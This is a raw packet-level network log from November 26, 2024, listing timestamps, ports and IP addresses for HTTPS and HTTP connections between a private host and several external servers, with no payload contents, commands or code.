Nov 26, 2024 00:07:34.749416113 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.749427080 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.750447035 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.750521898 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.750848055 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.750904083 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.794802904 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:34.794816017 CET	443	49747	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:34.841630936 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.126161098 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.130848885 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.134460926 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.135317087 CET	49744	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.135334015 CET	443	49744	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.352765083 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.352814913 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.352839947 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.352863073 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.352876902 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.352929115 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.352935076 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.353712082 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.356072903 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.356117964 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.356786966 CET	49746	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.356795073 CET	443	49746	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.367028952 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.367073059 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.367073059 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.367084026 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.367125034 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.367131948 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.387079000 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.387126923 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.387132883 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.436399937 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.436404943 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.482667923 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.482672930 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.529534101 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.539450884 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.566905022 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.566977978 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.566986084 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.574861050 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.574934959 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.574940920 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.582637072 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.582712889 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.582719088 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.593992949 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.594055891 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.594062090 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.603070021 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.603121996 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.603127956 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.612216949 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.612277985 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.612283945 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.623243093 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.623291016 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.623296022 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.636847019 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.636924028 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.636929035 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.650480032 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.650676012 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.650681973 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.660352945 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.660412073 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.660418034 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.674546957 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.674631119 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.674637079 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.722939014 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.722944975 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.764276028 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.778342962 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.780556917 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.780611992 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.780618906 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.785252094 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.785311937 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.785317898 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.789871931 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.789936066 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.789942026 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.793009996 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.793061972 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.793067932 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.799192905 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.799227953 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.799258947 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.799271107 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.799316883 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.802253962 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.805372000 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.805428982 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.805434942 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.807404995 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.807467937 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.807472944 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.817159891 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.817233086 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.817238092 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.827994108 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.828061104 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.828067064 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.838700056 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.838762045 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.838768005 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.849519968 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.849685907 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.849692106 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.859966040 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.860018015 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.860023975 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.869695902 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.869746923 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.869752884 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.898432970 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.898484945 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.898489952 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.900352955 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.900394917 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.900399923 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.903287888 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.903332949 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.903337002 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.907074928 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.907121897 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.907128096 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.914645910 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.914700985 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.914706945 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.922976971 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.923039913 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.923044920 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.931807041 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.931866884 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.931873083 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.937262058 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.937309980 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.937314987 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.942918062 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.942974091 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.942981005 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.982980967 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.983959913 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.985335112 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.985379934 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.985385895 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.995778084 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.995824099 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.995830059 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.998759985 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:35.998806000 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:35.998811007 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.001648903 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.001713037 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.001718044 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.004724026 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.004777908 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.004784107 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.007610083 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.007652044 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.007658005 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.010485888 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.010534048 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.010540009 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.013319016 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.013375044 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.156929970 CET	49745	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:36.156940937 CET	443	49745	142.250.181.100	192.168.2.4
Nov 26, 2024 00:07:36.479831934 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:36.479852915 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:36.479917049 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:36.481205940 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:36.481220961 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:36.903775930 CET	49734	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:36.903909922 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:37.023952961 CET	80	49734	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:37.023964882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:37.024029016 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:37.024200916 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:37.144057035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:37.956103086 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:37.956410885 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:37.960045099 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:37.960052013 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:37.960270882 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:37.997314930 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.043324947 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.072416067 CET	80	49724	217.20.56.101	192.168.2.4
Nov 26, 2024 00:07:38.072519064 CET	49724	80	192.168.2.4	217.20.56.101
Nov 26, 2024 00:07:38.072519064 CET	49724	80	192.168.2.4	217.20.56.101
Nov 26, 2024 00:07:38.192524910 CET	80	49724	217.20.56.101	192.168.2.4
Nov 26, 2024 00:07:38.465872049 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:38.465945959 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:38.490309000 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.490356922 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.490664005 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.513408899 CET	49750	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.513417959 CET	443	49750	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.596698046 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.596746922 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.596829891 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.597259998 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:38.597274065 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:38.599046946 CET	49747	443	192.168.2.4	142.250.181.100
Nov 26, 2024 00:07:38.626807928 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:38.626844883 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:38.746922970 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:38.746934891 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:38.746970892 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:39.261677980 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:39.261740923 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:39.283205986 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:39.403450012 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:39.748332024 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:39.748394966 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:39.976836920 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:39.976912022 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:39.983308077 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:39.983338118 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:39.983566046 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:39.984566927 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:40.027370930 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:40.203480005 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:40.323606968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:40.496752977 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:40.496805906 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:40.498533010 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:40.498579979 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:40.498604059 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:40.498617887 CET	49757	443	192.168.2.4	23.218.208.109
Nov 26, 2024 00:07:40.498625040 CET	443	49757	23.218.208.109	192.168.2.4
Nov 26, 2024 00:07:40.668162107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:40.668258905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.059114933 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.179231882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518743038 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518759966 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518769979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518805981 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518816948 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518826008 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518836975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.518867970 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.518923044 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.527002096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.527064085 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.527144909 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.527302980 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.535371065 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.535420895 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.535463095 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.535501003 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.543762922 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.543852091 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.646719933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.646776915 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.646831036 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.729135990 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.729224920 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.729358912 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.733287096 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.733350039 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.733386040 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.733431101 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.741714001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.741780996 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.741811037 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.741854906 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.750087023 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.750153065 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.750210047 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.750261068 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.758511066 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.758572102 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.758625031 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.758677006 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.766930103 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.766994953 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.767002106 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.767045021 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.775362968 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.775443077 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.775477886 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.775525093 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.783723116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.783797026 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.783864975 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.783916950 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.792152882 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.792223930 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.792320967 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.792371035 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.800518036 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.800584078 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.800617933 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.800666094 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.808959961 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.809065104 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.809143066 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.817320108 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.817395926 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.857273102 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.857378960 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.857467890 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.861385107 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.864641905 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.939713001 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.939821005 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.940005064 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.942440033 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.942584991 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.942663908 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.948498011 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.948621035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.948697090 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.954235077 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.954425097 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.954480886 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.960163116 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.960277081 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.960345030 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.966176987 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.966264009 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.966329098 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.972179890 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.972295046 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.972368956 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.978178978 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.978291035 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.978368998 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.984148979 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.984338045 CET	80	49753	92.255.57.88	192.168.2.4
Nov 26, 2024 00:07:41.984405994 CET	49753	80	192.168.2.4	92.255.57.88
Nov 26, 2024 00:07:41.990147114 CET	80	49753	92.255.57.88	192.168.2.4
